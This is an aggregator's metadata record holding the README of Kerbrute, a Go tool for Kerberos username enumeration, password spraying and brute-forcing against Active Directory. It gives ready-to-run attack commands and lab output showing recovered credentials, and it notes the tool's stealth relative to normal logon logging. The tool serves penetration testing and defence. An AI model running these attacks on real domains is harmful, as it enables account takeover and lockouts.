{"id":13540230,"url":"https://github.com/ropnop/kerbrute","last_synced_at":"2025-05-14T07:08:16.890Z","repository":{"id":37432514,"uuid":"168977645","full_name":"ropnop/kerbrute","owner":"ropnop","description":"A tool to perform Kerberos pre-auth bruteforcing","archived":false,"fork":false,"pushed_at":"2024-08-20T10:56:06.000Z","size":415,"stargazers_count":2853,"open_issues_count":39,"forks_count":435,"subscribers_count":24,"default_branch":"master","last_synced_at":"2025-04-09T00:29:17.726Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ropnop.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-02-03T18:21:17.000Z","updated_at":"2025-04-08T21:51:29.000Z","dependencies_parsed_at":"2024-01-19T05:48:45.108Z","dependency_job_id":"2242e066-79fa-4855-bed6-a11e4e7c4481","html_url":"https://github.com/ropnop/kerbrute","commit_stats":{"total_commits":83,"total_committers":4,"mean_commits":20.75,"dds":0.2530120481927711,"last_synced_commit":"9cfb81e4fab8037acb44c678773ca3f93bc2b39c"},"previous_names":[],"tags_count":4,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ropnop%2Fkerbrute","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ropnop%2Fkerbrute/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ropnop%2Fkerbrute/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ropnop%2Fkerbrute/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ropnop","download_url":"https://codeload.github.com/ropnop/kerbrute/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254092659,"owners_count":22013290,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T09:01:43.178Z","updated_at":"2025-05-14T07:08:16.855Z","avatar_url":"https://github.com/ropnop.png","language":"Go","funding_links":[],"categories":["\u003ca id=\"de81f9dd79c219c876c1313cd97852ce\"\u003e\u003c/a\u003e破解\u0026\u0026Crack\u0026\u0026爆破\u0026\u0026BruteForce","Summary","Go","Go (531)","\u003ca id=\"73c3c9225523cbb05333246f23342846\"\u003e\u003c/a\u003e工具","Red Team","Offensive (ATT\u0026CK tactics)","Active Directory \u0026 Windows","others"],"sub_categories":["\u003ca id=\"f2c76d99a0b1fda124d210bd1bbc8f3f\"\u003e\u003c/a\u003eWordlist生成","\u003ca id=\"53084c21ff85ffad3dd9ce445684978b\"\u003e\u003c/a\u003e未分类的","Initial Access","🔍 Reconnaissance"],"readme":"# Kerbrute\n[![CircleCI](https://circleci.com/gh/ropnop/kerbrute.svg?style=svg)](https://circleci.com/gh/ropnop/kerbrute)\n\nA tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication\n\nGrab the latest binaries from the [releases page](https://github.com/ropnop/kerbrute/releases/latest) to get started.\n\n## Background\nThis tool grew out of some [bash scripts](https://github.com/ropnop/kerberos_windows_scripts) I wrote a few years ago to perform bruteforcing using the Heimdal Kerberos client from Linux. I wanted something that didn't require privileges to install a Kerberos client, and when I found the amazing pure Go implementation of Kerberos [gokrb5](https://github.com/jcmturner/gokrb5), I decided to finally learn Go and write this. \n\nBruteforcing Windows passwords with Kerberos is much faster than any other approach I know of, and potentially stealthier since pre-authentication failures do not trigger that \"traditional\" `An account failed to log on` event 4625. With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller)\n\nFor more background and information, check out my Troopers 2019 talk, Fun with LDAP and Kerberos (link TBD)\n\n## Usage\nKerbrute has three main commands:\n * **bruteuser** - Bruteforce a single user's password from a wordlist\n * **bruteforce** - Read username:password combos from a file or stdin and test them\n * **passwordspray** - Test a single password against a list of users\n * **userenum** - Enumerate valid domain usernames via Kerberos\n\nA domain (`-d`) or a domain controller (`--dc`) must be specified. If a Domain Controller is not given the KDC will be looked up via DNS.\n\nBy default, Kerbrute is multithreaded and uses 10 threads. This can be changed with the `-t` option.\n\nOutput is logged to stdout, but a log file can be specified with `-o`.\n\nBy default, failures are not logged, but that can be changed with `-v`.\n\nLastly, Kerbrute has a `--safe` option. When this option is enabled, if an account comes back as locked out, it will abort all threads to stop locking out any other accounts.\n\nThe `help` command can be used for more information\n\n```\n$ ./kerbrute -h\n\n    __             __               __\n   / /_____  _____/ /_  _______  __/ /____\n  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\\n / ,\u003c /  __/ /  / /_/ / /  / /_/ / /_/  __/\n/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/\n\nVersion: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop\n\nThis tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.\nIt is designed to be used on an internal Windows domain with access to one of the Domain Controllers.\nWarning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts\n\nUsage:\n  kerbrute [command]\n\nAvailable Commands:\n  bruteforce    Bruteforce username:password combos, from a file or stdin\n  bruteuser     Bruteforce a single user's password from a wordlist\n  help          Help about any command\n  passwordspray Test a single password against a list of users\n  userenum      Enumerate valid domain usernames via Kerberos\n  version       Display version info and quit\n\nFlags:\n      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS\n      --delay int          Delay in millisecond between each attempt. Will always use single thread if set\n  -d, --domain string      The full domain to use (e.g. contoso.com)\n      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)\n      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged\n  -h, --help               help for kerbrute\n  -o, --output string      File to write logs to. Optional.\n      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE\n  -t, --threads int        Threads to use (default 10)\n  -v, --verbose            Log failures and errors\n\nUse \"kerbrute [command] --help\" for more information about a command.\n```\n\n### User Enumeration\nTo enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a `PRINCIPAL UNKNOWN` error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. This generates a Windows event ID [4768](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) if Kerberos logging is enabled.\n\n```\nroot@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt\n\n    __             __               __\n   / /_____  _____/ /_  _______  __/ /____\n  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\\n / ,\u003c /  __/ /  / /_/ / /  / /_/ / /_/  __/\n/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/\n\nVersion: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop\n\n2019/03/06 21:28:04 \u003e  Using KDC(s):\n2019/03/06 21:28:04 \u003e   pdc01.lab.ropnop.com:88\n\n2019/03/06 21:28:04 \u003e  [+] VALID USERNAME:       amata@lab.ropnop.com\n2019/03/06 21:28:04 \u003e  [+] VALID USERNAME:       thoffman@lab.ropnop.com\n2019/03/06 21:28:04 \u003e  Done! Tested 1001 usernames (2 valid) in 0.425 seconds\n```\n\n### Password Spray\nWith `passwordspray`, Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users. WARNING: this does will increment the failed login count and lock out accounts. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771)\n\n```\nroot@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123\n\n    __             __               __\n   / /_____  _____/ /_  _______  __/ /____\n  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\\n / ,\u003c /  __/ /  / /_/ / /  / /_/ / /_/  __/\n/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/\n\nVersion: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop\n\n2019/03/06 21:37:29 \u003e  Using KDC(s):\n2019/03/06 21:37:29 \u003e   pdc01.lab.ropnop.com:88\n\n2019/03/06 21:37:35 \u003e  [+] VALID LOGIN:  callen@lab.ropnop.com:Password123\n2019/03/06 21:37:37 \u003e  [+] VALID LOGIN:  eshort@lab.ropnop.com:Password123\n2019/03/06 21:37:37 \u003e  Done! Tested 2755 logins (2 successes) in 7.674 seconds\n```\n\n### Brute User\nThis is a traditional bruteforce account against a username. Only run this if you are sure there is no lockout policy! This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771)\n\n```\nroot@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman\n\n    __             __               __\n   / /_____  _____/ /_  _______  __/ /____\n  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\\n / ,\u003c /  __/ /  / /_/ / /  / /_/ / /_/  __/\n/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/\n\nVersion: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop\n\n2019/03/06 21:38:24 \u003e  Using KDC(s):\n2019/03/06 21:38:24 \u003e   pdc01.lab.ropnop.com:88\n\n2019/03/06 21:38:27 \u003e  [+] VALID LOGIN:  thoffman@lab.ropnop.com:Summer2017\n2019/03/06 21:38:27 \u003e  Done! Tested 1001 logins (1 successes) in 2.711 seconds\n```\n\n### Brute Force\nThis mode simply reads username and password combinations (in the format `username:password`) from a file or from `stdin` and tests them with Kerberos PreAuthentication. It will skip any blank lines or lines with blank usernames/passwords. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771)\n```\n$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -\n\n    __             __               __\n   / /_____  _____/ /_  _______  __/ /____\n  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\\n / ,\u003c /  __/ /  / /_/ / /  / /_/ / /_/  __/\n/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/\n\nVersion: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop\n\n2019/05/11 18:40:56 \u003e  Using KDC(s):\n2019/05/11 18:40:56 \u003e   pdc01.lab.ropnop.com:88\n\n2019/05/11 18:40:56 \u003e  [+] VALID LOGIN:  athomas@lab.ropnop.com:Password1234\n2019/05/11 18:40:56 \u003e  Done! Tested 7 logins (1 successes) in 0.114 seconds\n```\n\n## Installing\nYou can download pre-compiled binaries for Linux, Windows and Mac from the [releases page](https://github.com/ropnop/kerbrute/releases/tag/latest). If you want to live on the edge, you can also install with Go:\n\n```\n$ go get github.com/ropnop/kerbrute\n```\n\nWith the repository cloned, you can also use the Make file to compile for common architectures:\n\n```\n$ make help\nhelp:            Show this help.\nwindows:  Make Windows x86 and x64 Binaries\nlinux:  Make Linux x86 and x64 Binaries\nmac:  Make Darwin (Mac) x86 and x64 Binaries\nclean:  Delete any binaries\nall:  Make Windows, Linux and Mac x86/x64 Binaries\n\n$ make all\nDone.\nBuilding for windows amd64..\nBuilding for windows 386..\nDone.\nBuilding for linux amd64...\nBuilding for linux 386...\nDone.\nBuilding for mac amd64...\nBuilding for mac 386...\nDone.\n\n$ ls dist/\nkerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe\nkerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe\n```\n\n## Credits\nHuge shoutout to jcmturner for his pure Go implementation of KRB5: https://github.com/jcmturner/gokrb5 . An amazing project and very well documented. Couldn't have done any of this without that project. \n\nShoutout to [audibleblink](https://github.com/audibleblink) for the suggestion and implementation of the `delay` option!\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fropnop%2Fkerbrute","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fropnop%2Fkerbrute","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fropnop%2Fkerbrute/lists"}